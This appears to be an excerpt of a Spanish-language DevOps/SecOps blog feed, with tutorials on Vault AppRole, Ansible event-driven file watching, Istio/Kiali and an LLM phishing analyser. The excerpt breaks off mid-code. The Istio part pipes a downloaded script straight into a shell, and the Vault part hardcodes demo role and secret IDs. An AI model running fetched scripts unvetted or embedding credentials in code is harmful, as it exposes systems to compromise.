<pre><code class="lang-yaml"><span class="hljs-string">vault</span> <span class="hljs-string">write</span> <span class="hljs-string">auth/approle/role/python-reader</span> <span class="hljs-string">\</span>
  <span class="hljs-string">token_policies="read-secret"</span> <span class="hljs-string">\</span>
  <span class="hljs-string">token_ttl=1h</span> <span class="hljs-string">\</span>
  <span class="hljs-string">token_max_ttl=4h</span>
</code></pre>
<p>Vamos a obtener los datos necesarios para nuestra aplicación. Solo esta vez.</p>
<pre><code class="lang-yaml"><span class="hljs-string">/</span> <span class="hljs-string">$</span> <span class="hljs-string">vault</span> <span class="hljs-string">read</span> <span class="hljs-string">-field=role_id</span> <span class="hljs-string">auth/approle/role/python-reader/role-id</span>
<span class="hljs-string">3faac7e2-4ba8-1de1-eea6-92c420a47015</span>
<span class="hljs-string">/</span> <span class="hljs-string">$</span> <span class="hljs-string">vault</span> <span class="hljs-string">write</span> <span class="hljs-string">-f</span> <span class="hljs-string">-field=secret_id</span> <span class="hljs-string">auth/approle/role/python-reader/secret-id</span>
<span class="hljs-string">107f3d2d-9b18-8fd5-4194-74562d6339b9</span>
</code></pre>
<p>Ya tenemos nuestro <code>role-id</code> &amp; <code>secret-id</code>. Ahora vamos correr nuestro <code>app.py</code>.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> hvac
<span class="hljs-keyword">import</span> warnings


client = hvac.Client(url=<span class="hljs-string">"https://vault.esprueba.com"</span>)

ROLE_ID = <span class="hljs-string">"3faac7e2-4ba8-1de1-eea6-92c420a47015"</span>
SECRET_ID = <span class="hljs-string">"1803cfd7-ce7e-8e18-1a68-e1e512e77f9d"</span>

<span class="hljs-comment"># Login con AppRole</span>
login_response = client.auth.approle.login(role_id=ROLE_ID, secret_id=SECRET_ID)
client.token = login_response[<span class="hljs-string">"auth"</span>][<span class="hljs-string">"client_token"</span>]

<span class="hljs-comment"># Si tu secreto está en KV v1 (como vimos antes)</span>
secret_response = client.secrets.kv.v1.read_secret(path=<span class="hljs-string">"demo"</span>, mount_point=<span class="hljs-string">"secret"</span>)

data = secret_response[<span class="hljs-string">"data"</span>]
print(<span class="hljs-string">"✅ Secreto leído:"</span>)
print(<span class="hljs-string">"👤 Usuario:"</span>, data.get(<span class="hljs-string">"username"</span>))
print(<span class="hljs-string">"🔑 Password:"</span>, data.get(<span class="hljs-string">"password"</span>))
</code></pre>
<p>Listo!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748707007535/74f136a1-e90b-4c9d-a469-064b6f4a182d.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>La advertencia del <strong>módulo SSL de Python (</strong><code>ssl</code>) que está enlazado contra <strong>LibreSSL</strong>. <code>urllib3</code> inspecciona esa biblioteca en tiempo de ejecución, y si ve que no es OpenSSL 1.1.1+ por eso lanza el warning.</p>
</blockquote>
<p>Estas son las ventajas de implementar de esta manera.</p>
<ol>
<li><p><strong>Gestión centralizada de secretos</strong><br /> Vault se convierte en el único punto de control de secretos. Ya no hay credenciales hardcodeadas en el código, archivos <code>.env</code>, imágenes de Docker ni pipelines de CI/CD.</p>
</li>
<li><p><strong>Autenticación robusta con AppRole</strong><br /> AppRole separa identidad (<code>role_id</code>) de autenticación (<code>secret_id</code>), lo que permite controlar y auditar accesos con precisión. Incluso si un atacante accede al <code>role_id</code>, no puede autenticarse sin el <code>secret_id</code>.</p>
</li>
<li><p><strong>Rotación de secretos sin downtime</strong><br /> Si cambiás un secreto en Vault, la app podrá leer el nuevo valor en el próximo acceso. No es necesario reiniciar ni desplegar nuevamente.</p>
</li>
<li><p><strong>Aplicación del principio de menor privilegio</strong><br /> Las políticas de Vault permiten que cada AppRole acceda únicamente a los paths que necesita. Si una app solo necesita <code>secret/demo</code>, no puede ver nada más.</p>
</li>
<li><p><strong>Auditoría completa y trazabilidad</strong><br /> Vault registra cada solicitud: qué secreto se accedió, desde qué AppRole, en qué momento. Esto permite trazabilidad y cumplimiento normativo.</p>
</li>
</ol>
<p>Espero que les sirva!</p>
]]></content:encoded></item><item><title><![CDATA[Respondiendo a Eventos de manera automatizada, con Ansible Rulebooks.]]></title><description><![CDATA[La automatización basada en eventos permite al equipo de SecOps ejecutar acciones predefinidas automáticamente en respuesta a eventos específicos dentro de un entorno. Este enfoque mejora la eficiencia operativa al reducir la intervención manual y pe...]]></description><link>https://blog.santiagoagustinfernandez.com/respondiendo-a-eventos-de-manera-automatizada-con-ansible-rulebooks</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/respondiendo-a-eventos-de-manera-automatizada-con-ansible-rulebooks</guid><category><![CDATA[ansible]]></category><category><![CDATA[event-driven-architecture]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Wed, 12 Mar 2025 14:49:18 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1741790654575/a23e8ab6-c714-4a47-bdf6-c053276e7259.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>La automatización basada en eventos permite al equipo de SecOps ejecutar acciones predefinidas automáticamente en respuesta a eventos específicos dentro de un entorno. Este enfoque mejora la eficiencia operativa al reducir la intervención manual y permite que los sistemas se adapten rápidamente a las condiciones cambiantes. <strong>Ansible</strong> nos ayuda al incorporar funciones basadas en eventos para ofrecer soporte a una automatización dinámica y receptiva.</p>
<h2 id="heading-arquitectura">Arquitectura</h2>
<p>Para emplear la Automatización de Ansible Basada en Eventos, es fundamental entender tres conceptos:</p>
<ol>
<li><p><strong>Fuente de Eventos</strong></p>
</li>
<li><p><strong>Ansible Rulebooks</strong></p>
</li>
<li><p><strong>Acciones</strong></p>
</li>
</ol>
<p>Las fuentes son el origen de los eventos que desencadenarán el proceso para ser evaluado por las condiciones del ansible rulebook. Si se cumplen estas condiciones, se procederá a ejecutar un playbook, un módulo o, en su defecto, invocar un script. Esto hace de esta herramienta una excelente opción para diversos casos de uso.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741788147344/76ef92de-f7a1-40f5-b0e3-879d2a562d39.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-instalacion">Instalación</h2>
<p>Vamos a actualizar.</p>
<pre><code class="lang-bash">sudo apt update &amp;&amp; sudo apt upgrade -y
</code></pre>
<p>Ahora es el turno de Java.</p>
<pre><code class="lang-bash">sudo apt install openjdk-17-jdk
<span class="hljs-built_in">export</span> JAVA_HOME=/usr/lib/jvm/java-17-openjdk-amd64
<span class="hljs-built_in">export</span> PATH=<span class="hljs-variable">$PATH</span>:~/.<span class="hljs-built_in">local</span>/bin
</code></pre>
<p>Vamos agregar Python3 con Pip, siempre necesario, y Pipx para tener en todo nuestro entorno ansible.</p>
<pre><code class="lang-bash">sudo apt install python3 python3-pip pipx ansible-core
pipx install ansible
pipx install ansible-rulebook
pipx install ansible-runner
</code></pre>
<p>Ahora la frutilla del postre, <code>ansibe.eda</code>.</p>
<pre><code class="lang-bash">ansible-galaxy collection install ansible.eda
</code></pre>
<p>Ya tenemos nuestro servidor, listo.</p>
<h2 id="heading-prueba-de-concepto">Prueba de Concepto</h2>
<p>Este es un ejemplo de <code>ansible-rulebook</code> para supervisar cambios utilizando el módulo <code>ansible.eda.file_watch</code>. Envía un mensaje a Slack cuando se cumple la condición <code>event.change == "modified"</code> o <code>event.change == "created"</code>. En mi caso, quiero supervisar <code>/home/santiago/data</code>, pero ¿no sería una buena idea monitorear, por ejemplo, <code>/etc/passwd</code>, <code>/etc/shadow</code>?</p>
<pre><code class="lang-yaml"><span class="hljs-string">filewatch.yml</span>
<span class="hljs-meta">---</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Monitor</span> <span class="hljs-string">/home/santiago</span> <span class="hljs-string">for</span> <span class="hljs-string">file</span> <span class="hljs-string">changes</span>
  <span class="hljs-attr">hosts:</span> <span class="hljs-string">localhost</span>
  <span class="hljs-attr">sources:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">file_watch</span>
      <span class="hljs-attr">ansible.eda.file_watch:</span>
        <span class="hljs-attr">path:</span> <span class="hljs-string">/home/santiago/data</span>
        <span class="hljs-attr">recursive:</span> <span class="hljs-literal">true</span>
        <span class="hljs-attr">exclude_patterns:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"*.log"</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"*.tmp"</span>
  <span class="hljs-attr">rules:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Notify</span> <span class="hljs-string">Slack</span> <span class="hljs-string">if</span> <span class="hljs-string">a</span> <span class="hljs-string">file</span> <span class="hljs-string">is</span> <span class="hljs-string">modified</span>
      <span class="hljs-attr">condition:</span> <span class="hljs-string">event.change</span> <span class="hljs-string">==</span> <span class="hljs-string">"modified"</span> <span class="hljs-string">and</span> <span class="hljs-string">event.type</span> <span class="hljs-string">==</span> <span class="hljs-string">"FileModifiedEvent"</span>
      <span class="hljs-attr">action:</span>
        <span class="hljs-attr">run_playbook:</span>
          <span class="hljs-attr">name:</span> <span class="hljs-string">notify-slack.yml</span>
          <span class="hljs-attr">extra_vars:</span>
            <span class="hljs-attr">event_path:</span> <span class="hljs-string">"<span class="hljs-template-variable">{{ event.src_path }}</span>"</span>
            <span class="hljs-attr">event_change:</span> <span class="hljs-string">"<span class="hljs-template-variable">{{ event.change }}</span>"</span>
      <span class="hljs-attr">throttle:</span>
        <span class="hljs-attr">once_within:</span> <span class="hljs-string">"60 seconds"</span>  <span class="hljs-comment"># Formato correcto: "60 seconds"</span>
        <span class="hljs-attr">group_by_attributes:</span>       <span class="hljs-comment"># Agrupa eventos por estos atributos</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">src_path</span>              <span class="hljs-comment"># Agrupa por la ruta del archivo</span>

    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Notify</span> <span class="hljs-string">Slack</span> <span class="hljs-string">if</span> <span class="hljs-string">a</span> <span class="hljs-string">new</span> <span class="hljs-string">file</span> <span class="hljs-string">is</span> <span class="hljs-string">created</span>
      <span class="hljs-attr">condition:</span> <span class="hljs-string">event.change</span> <span class="hljs-string">==</span> <span class="hljs-string">"created"</span> <span class="hljs-string">and</span> <span class="hljs-string">event.type</span> <span class="hljs-string">==</span> <span class="hljs-string">"FileCreatedEvent"</span>
      <span class="hljs-attr">action:</span>
        <span class="hljs-attr">run_playbook:</span>
          <span class="hljs-attr">name:</span> <span class="hljs-string">notify-slack.yml</span>
          <span class="hljs-attr">extra_vars:</span>
            <span class="hljs-attr">event_path:</span> <span class="hljs-string">"<span class="hljs-template-variable">{{ event.src_path }}</span>"</span>
            <span class="hljs-attr">event_change:</span> <span class="hljs-string">"<span class="hljs-template-variable">{{ event.change }}</span>"</span>
      <span class="hljs-attr">throttle:</span>
        <span class="hljs-attr">once_within:</span> <span class="hljs-string">"60 seconds"</span>  <span class="hljs-comment"># Formato correcto: "60 seconds"</span>
        <span class="hljs-attr">group_by_attributes:</span>       <span class="hljs-comment"># Agrupa eventos por estos atributos</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">src_path</span>              <span class="hljs-comment"># Agrupa por la ruta del archivo</span>
</code></pre>
<p>Si estas condiciones se cumplen, ejecuta <code>notify-slack.yml</code>.</p>
<pre><code class="lang-yaml"><span class="hljs-string">notify-slack.yml</span>
<span class="hljs-meta">---</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Send</span> <span class="hljs-string">Slack</span> <span class="hljs-string">Notification</span>
  <span class="hljs-attr">hosts:</span> <span class="hljs-string">localhost</span>
  <span class="hljs-attr">tasks:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Debug</span> <span class="hljs-string">event</span> <span class="hljs-string">variables</span>
      <span class="hljs-attr">debug:</span>
        <span class="hljs-attr">msg:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"Event Path: <span class="hljs-template-variable">{{ event_path }}</span>"</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"Event Change: <span class="hljs-template-variable">{{ event_change }}</span>"</span>

    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Send</span> <span class="hljs-string">message</span> <span class="hljs-string">to</span> <span class="hljs-string">Slack</span>
      <span class="hljs-attr">community.general.slack:</span>
        <span class="hljs-attr">token:</span> <span class="hljs-string">"ACA_TOKEN"</span> <span class="hljs-comment"># Seria mejor que esto este como variable en un .ini o hagas un export</span>
        <span class="hljs-attr">channel:</span> <span class="hljs-string">"#alarms"</span> <span class="hljs-comment"># Este es el canal que uso.</span>
        <span class="hljs-attr">msg:</span> <span class="hljs-string">"🚨 Archivo detectado en /home/santiago/data: <span class="hljs-template-variable">{{ event_path }}</span> (<span class="hljs-template-variable">{{ event_change }}</span>)"</span>
        <span class="hljs-attr">username:</span> <span class="hljs-string">"Ansible Bot"</span>
</code></pre>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Si no sabes como crear una aplicacion en Slack, para poder interactuar en el feed. Revisa esta <a target="_self" href="https://api.slack.com/tutorials/tracks/getting-a-token">documentacion</a>.</div>
</div>

<p>Creamos nuestro inventorio, en mi caso solo lo hare local pero podrias tener una granja de servidores a monitorear. Vamos a llamarlo <code>inventory.yml</code>.</p>
<pre><code class="lang-bash">all:
  children:
    ungrouped:
      hosts:
        localhost:
          ansible_connection: <span class="hljs-built_in">local</span>
</code></pre>
<p>Ejecutamos <strong>Ansible Event Drive Automation</strong> de la siguiente manera, haciendo referencia al inventario de activos y al playbook.</p>
<pre><code class="lang-yaml"><span class="hljs-string">ansible-rulebook</span> <span class="hljs-string">-i</span> <span class="hljs-string">inventory.yml</span> <span class="hljs-string">-r</span> <span class="hljs-string">filewatch.yml</span>
</code></pre>
<p>Primero, creamos el <code>archivo.txt</code> y luego realizamos una modificación. Aquí observamos cómo se ejecutan los eventos y se notifican en Slack. La creación provoca una modificación al guardarlo.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741736017995/b2a47054-8cbb-4f6b-931e-38e879e30593.png" alt class="image--center mx-auto" /></p>
<p>Aquí están los mensajes que nos llegan a Slack.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741736118771/889bc4c3-d91f-4fd1-971d-122504ed1278.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Con EDA no tenemos límites; podemos aplicarlo a múltiples escenarios, como responder ante incidentes, escalar infraestructura, reiniciar servicios o cumplir con regulaciones. Sin duda, es un aliado al considerar la operación de SecOps o DevOps. ¡Dejemos volar la imaginación!</p>
<h2 id="heading-referencias">Referencias</h2>
<p><a target="_blank" href="https://developers.redhat.com/articles/2024/04/12/event-driven-ansible-rulebook-automation#ansible_rulebook_cli_setup">https://developers.redhat.com/articles/2024/04/12/event-driven-ansible-rulebook-automation#ansible_rulebook_cli_setup</a></p>
<p><a target="_blank" href="https://dzone.com/articles/ansible-event-driven-automation-real-time-operations">https://dzone.com/articles/ansible-event-driven-automation-real-time-operations</a></p>
]]></content:encoded></item><item><title><![CDATA[Istio en acción: Seguridad, tráfico y visibilidad en Kubernetes]]></title><description><![CDATA[Con el avance de las aplicaciones nativas de la nube, gestionar microservicios a gran escala se vuelve cada vez más complicado. Kubernetes se ha convertido en la plataforma estándar para orquestar aplicaciones en contenedores. Sin embargo, a medida q...]]></description><link>https://blog.santiagoagustinfernandez.com/istio-en-accion-seguridad-trafico-y-visibilidad-en-kubernetes</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/istio-en-accion-seguridad-trafico-y-visibilidad-en-kubernetes</guid><category><![CDATA[#istio]]></category><category><![CDATA[#ServiceMesh]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Mon, 03 Feb 2025 14:29:47 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1738592854486/1fd8bbfe-4203-441e-9adb-0ec3ccf88b4d.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Con el avance de las aplicaciones nativas de la nube, gestionar microservicios a gran escala se vuelve cada vez más complicado. Kubernetes se ha convertido en la plataforma estándar para orquestar aplicaciones en contenedores. Sin embargo, a medida que su arquitectura de microservicios crece, también aumenta la necesidad de una gestión avanzada del tráfico, la observabilidad y la seguridad dentro de sus clústeres de Kubernetes. Aquí es donde entran <strong>Istio</strong> y <strong>Kiali</strong>. Juntos, ofrecen herramientas poderosas para gestionar, visualizar y proteger sus micro servicios.</p>
<h2 id="heading-que-es-istio">¿Que es Istio?</h2>
<p><a target="_blank" href="https://istio.io/">Istio</a> es un Service Mesh Open Source que proporciona una forma uniforme de proteger, conectar y observar microservicios. Proporciona capacidades críticas como la gestión del tráfico, la seguridad y la capacidad de observación y sin necesidad de realizar cambios en el código de la aplicación.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1400/1*OgjxVATqybmiigVzab9K6A.png" alt /></p>
<h2 id="heading-caracteristicas">Características</h2>
<h3 id="heading-manejo-de-trafico">Manejo de Trafico</h3>
<ul>
<li><p><strong>Load Balancing:</strong> Istio permite un control preciso del tráfico, como load balancing, traffic splitting y canary releases.</p>
</li>
<li><p><strong>Routing:</strong> Permite reglas de enrutamiento avanzadas, haciendo posible dirigir el tráfico basándose en cabeceras HTTP, cookies y otros criterios.</p>
</li>
<li><p><strong>Fault Injection:</strong> Puedes simular fallos para probar la resiliencia de tus microservicios inyectando fallos como delays o aborts.</p>
</li>
</ul>
<h3 id="heading-seguridad">Seguridad</h3>
<ul>
<li><p><strong>Mutual TLS (mTLS)</strong>: Istio proporciona cifrado de extremo a extremo entre servicios, garantizando una comunicación segura dentro de la malla.</p>
</li>
<li><p><strong>Authorization Policies</strong>: Permite imponer un control de acceso detallado entre servicios.</p>
</li>
<li><p><strong>Identity and Access Management</strong>: Istio se integra con los sistemas de autenticación y autorización existentes.</p>
</li>
</ul>
<h3 id="heading-observabilidad">Observabilidad</h3>
<ul>
<li><p><strong>Distributed Tracing</strong>: Istio se integra con herramientas como Jaeger y Zipkin para proporcionar capacidades de rastreo a través de microservicios.</p>
</li>
<li><p><strong>Metrics Collection</strong>: Recopila métricas a nivel de servicio, que se pueden visualizar con Prometheus y Grafana.</p>
</li>
<li><p><strong>Logging</strong>: Istio recopila logs de todas las interacciones del servicio, lo que facilita la monitorización y depuración de tus aplicaciones.</p>
</li>
</ul>
<h2 id="heading-que-es-kiali">¿Que es Kiali?</h2>
<p><a target="_blank" href="https://kiali.io/">Kiali</a> proporciona una interfaz visual para observar y gestionar su malla de servicios, ofreciendo información sobre cómo interactúa el Service Mesh. Kiali se integra perfectamente con Istio, lo que le permite visualizar la topología de su malla de servicios, supervisar el estado de sus microservicios y solucionar problemas.</p>
<h2 id="heading-caracteristicas-1">Características</h2>
<p><strong>Service Mesh Visualization</strong></p>
<ul>
<li><p><strong>Graphical Representation</strong>: Kiali ofrece un gráfico en tiempo real de tu service mesh, mostrando cómo interactúan los servicios y resaltando cualquier problema potencial.</p>
</li>
<li><p><strong>Traffic Flow</strong>: Visualiza el flujo de tráfico entre servicios, ayudándole a entender cómo se enrutan las peticiones.</p>
</li>
<li><p><strong>Health Indicators</strong>: Kiali ofrece indicadores Health Check de tus servicios, mostrando errores, tiempos de respuesta y otras métricas clave.</p>
</li>
</ul>
<p><strong>Configuration Validation</strong></p>
<ul>
<li><p><strong>Istio Config Checks:</strong> Kiali comprueba sus configuraciones de Istio en busca de errores e incoherencias, ayudándole a evitar configuraciones erróneas que podrían provocar fallos en el servicio.</p>
</li>
<li><p><strong>Policy Validation:</strong> Garantiza que sus políticas de seguridad y enrutamiento se apliquen correctamente y funcionen según lo previsto.</p>
</li>
</ul>
<p><strong>Detailed Metrics and Tracing</strong></p>
<ul>
<li><p><strong>Metrics Integration:</strong> Kiali se integra con Prometheus para mostrar métricas en tiempo real y datos históricos de los servicios dentro de su malla.</p>
</li>
<li><p><strong>Tracing Integration:</strong> Al integrarse con Jaeger o Zipkin, Kiali proporciona datos de rastreo distribuidos, lo que le permite rastrear las solicitudes a medida que se propagan a través de sus microservicios.</p>
</li>
</ul>
<p><strong>Traffic Management</strong></p>
<ul>
<li><p><strong>Traffic Routing:</strong> Kiali permite visualizar y modificar configuraciones de enrutamiento de tráfico, como despliegues canarios y desplazamiento de tráfico, directamente desde la consola.</p>
</li>
<li><p><strong>Fault Injection and Testing:</strong> Puedes simular fallos y latencia dentro de la malla para probar la resiliencia de tus servicios.</p>
</li>
</ul>
<p>Está claro que Istio junto con Kiali nos ayuda a gestionar nuestro Service Mesh de manera gráfica y confiable. Vamos a instalar ambos productos en nuestro clúster, junto con una aplicación, para ver qué podemos lograr. Tendremos una mejor observabilidad que nos ayudará a la hora de solucionar problemas, podremos mejorar la gestión del tráfico, adoptaremos una postura de seguridad mucho más agresiva y, sobre todo, una forma de configuración proactiva.</p>
<h2 id="heading-instalacion">Instalación</h2>
<h3 id="heading-istio">Istio</h3>
<p>Desgargar Istio e ingresamos a la carpeta. En mi caso, al momento de la entrada, tengo la version istio-1.24.2.</p>
<pre><code class="lang-bash">curl -L https://istio.io/downloadIstio | sh -
</code></pre>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> istio-1.24.2
</code></pre>
<p>Agregamos el PATH e instalamos.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> PATH=<span class="hljs-variable">$PWD</span>/bin/.istioctl/bin:<span class="hljs-variable">$PATH</span>
istioctl install
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738588937029/89d00f49-a746-43f2-816f-a7870d95fbec.png" alt class="image--center mx-auto" /></p>
<p>Revisamos nuestra instalación.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738589383729/abbb9f64-eeb8-401c-a692-1d301998b899.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-aplicativo">Aplicativo</h3>
<p>Voy a usar un sample, que viene con Istio. Añadimos una etiqueta al <em>namespace</em> para indicar a Istio que inyecte automáticamente proxies Envoy sidecar cuando despleguemos nuestra aplicación más adelante.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Creo un namespace</span>
kubectl create ns istio-test
<span class="hljs-comment"># Aplicamos para que se inyecten los tags.</span>
kubectl label namespace istio-test istio-injection=enabled
<span class="hljs-comment"># Instalamos la aplicacion</span>
kubectl apply -f samples/bookinfo/platform/kube/bookinfo.yaml -n istio-test
</code></pre>
<p>La aplicación que desplegamos se verá algo así:</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1400/1*roRUQWThNb2nokVw9oQZZw.png" alt /></p>
<p>Vamos a revisar si tenemos el rollout listo, antes desplegamos nuestro Gateway.</p>
<pre><code class="lang-bash">kubectl apply -f samples/bookinfo/networking/bookinfo-gateway.yaml
kubectl get gateway
</code></pre>
<p>Revisamos a donde apunta, para el ingreso externo.</p>
<pre><code class="lang-bash">kubectl get svc istio-ingressgateway -n istio-system
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738589533075/a61b371d-b753-4977-970e-c5b0e6968a95.png" alt class="image--center mx-auto" /></p>
<p>Vamos a hacerla mas facil llenando nuestras variables de entorno.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> INGRESS_NAME=istio-ingressgateway
<span class="hljs-built_in">export</span> INGRESS_NS=istio-system
<span class="hljs-built_in">export</span> INGRESS_HOST=$(kubectl -n <span class="hljs-string">"<span class="hljs-variable">$INGRESS_NS</span>"</span> get service <span class="hljs-string">"<span class="hljs-variable">$INGRESS_NAME</span>"</span> -o jsonpath=<span class="hljs-string">'{.status.loadBalancer.ingress[0].ip}'</span>)
<span class="hljs-built_in">export</span> INGRESS_PORT=$(kubectl -n <span class="hljs-string">"<span class="hljs-variable">$INGRESS_NS</span>"</span> get service <span class="hljs-string">"<span class="hljs-variable">$INGRESS_NAME</span>"</span> -o jsonpath=<span class="hljs-string">'{.spec.ports[?(@.name=="http2")].port}'</span>)
<span class="hljs-built_in">export</span> GATEWAY_URL=<span class="hljs-variable">$INGRESS_HOST</span>:<span class="hljs-variable">$INGRESS_PORT</span>
</code></pre>
<p>Ejecutamos</p>
<pre><code class="lang-plaintext">curl -s "http://${GATEWAY_URL}/productpage" | grep -o "&lt;title&gt;.*&lt;/title&gt;"
</code></pre>
<p>Tendría que devolvernos este mensaje</p>
<pre><code class="lang-bash">&lt;title&gt;Simple Bookstore App&lt;/title&gt;
</code></pre>
<p>Vamos a revisar la Web, para confiramar.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738589832453/651410c5-8cdb-413e-8c04-09d6151613fb.png" alt class="image--center mx-auto" /></p>
<p>Listo nuestro aplicativo!</p>
<h3 id="heading-kiali">Kiali</h3>
<p>Desplegamos el Dashboard de Kiali, junto con Prometheus, Grafana. Dentro de la carpeta de Istio.</p>
<pre><code class="lang-bash">kubectl apply -f samples/addons
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738589558364/376103ed-324f-4b44-979b-65d08b67a66b.png" alt class="image--center mx-auto" /></p>
<p>Ingresamos al Dashboard.</p>
<pre><code class="lang-bash">istioctl dashboard kiali
</code></pre>
<p>Ahora si podemos revisar! Tenemos miles de opciones para configurar y entender nuestro entorno. Algunas de las opciones. Por ejemplo aca graficamos como esta el servicio de productpage.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738591946275/8e37f94b-d73c-4749-98b9-1699386a5965.png" alt class="image--center mx-auto" /></p>
<p>Algunas opciones, para jugar.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738421655957/69a839ca-ff4e-4435-9f49-1b5fae1dd342.png" alt class="image--center mx-auto" /></p>
<p>Sin dudas una herramienta para tener en nuestra navaja suiza, como administrador de Kubernetes.</p>
<p>Espero que les haya gustado la entrada, nos vemos en la próxima.</p>
<h2 id="heading-referencias">Referencias</h2>
<p><a target="_blank" href="https://shashwotrisal.medium.com/getting-started-with-istio-service-mesh-7441265b7c5b">https://shashwotrisal.medium.com/getting-started-with-istio-service-mesh-7441265b7c5b</a></p>
<p><a target="_blank" href="https://medium.com/@baazigames/leveraging-istio-and-kiali-for-enhanced-kubernetes-cluster-management-4696c5b266b5">https://medium.com/@baazigames/leveraging-istio-and-kiali-for-enhanced-kubernetes-cluster-management-4696c5b266b5</a></p>
]]></content:encoded></item><item><title><![CDATA[Analizando correos con Inteligencia Artificial]]></title><description><![CDATA[No hace falta que les cuente que hubo casi 1,9 millones de ataques de phishing en el último año, con 877.536 sólo en el segundo trimestre de 2024. Las estafas de Business Email Compromise (BEC) también han aumentado, con un importe medio solicitado d...]]></description><link>https://blog.santiagoagustinfernandez.com/analizando-correos-con-inteligencia-artificial</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/analizando-correos-con-inteligencia-artificial</guid><category><![CDATA[ollama]]></category><category><![CDATA[phishing]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Thu, 17 Oct 2024 00:06:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1729123519603/4c553c66-dfad-4e26-8e9a-3198d14e3a22.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>No hace falta que les cuente que hubo casi 1,9 millones de ataques de phishing en el último año, con 877.536 sólo en el segundo trimestre de 2024. Las estafas de Business Email Compromise (BEC) también han aumentado, con un importe medio solicitado de <strong>89.520 dólares por incidente</strong>. Nos ponemos manos a la obra con este mini proyecto, que a mi entender es util y divertido.</p>
<h2 id="heading-arquitectura">Arquitectura</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729111562819/b3f849ac-3bb1-4c49-9970-baa0f8bf99c4.png" alt class="image--center mx-auto" /></p>
<ol>
<li><p>El usuario envía un correo sospechoso a una casilla.</p>
</li>
<li><p><a target="_blank" href="https://n8n.io/?ps_partner_key=YmlubmJiMTAzMQ&amp;ps_xid=qQ6UJwuXrxq8WA&amp;gsxid=qQ6UJwuXrxq8WA&amp;gspk=YmlubmJiMTAzMQ&amp;gad_source=1&amp;gclid=Cj0KCQjwyL24BhCtARIsALo0fSDGidclTUK4wfhPWODiPTYxuF4Oo13Qs_2SGF9vfd04NV4B3gS0EPQaAoi3EALw_wcB">n8n</a> revisa la casilla cada cierto tiempo.</p>
</li>
<li><p>Si encuentra un correo, lo envía para analizar.</p>
</li>
<li><p>La primera API que usamos es Virus Total.</p>
</li>
<li><p>Luego analizamos con Ollama y un modelo preparado para este propósito.</p>
</li>
<li><p>Le pedimos a Ollama que formatee el análisis y cree un HTML.</p>
</li>
<li><p>n8n envía el reporte al usuario que tenía la sospecha.</p>
</li>
</ol>
<p>Aca les dejo el <a target="_blank" href="https://github.com/safernandez666/PhishingLLM">repositorio</a> del proyecto, donde se encontraran con esta estructura.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729112558044/d7364a05-c322-4f26-8fab-244b752005b9.png" alt class="image--center mx-auto" /></p>
<p>En la carpeta <strong>app</strong> estará el siguiente Python que tiene estos tres métodos: <code>/analyze</code>, <code>/analyze_mail</code>, <code>/format_text</code>.</p>
<h3 id="heading-metodo-analyze-email">Metodo Analyze Email</h3>
<pre><code class="lang-python"><span class="hljs-comment"># Ruta para analizar el cuerpo del correo</span>
<span class="hljs-meta">@app.route('/analyze_email', methods=['POST'])</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">analyze_email</span>():</span>
    <span class="hljs-keyword">try</span>:
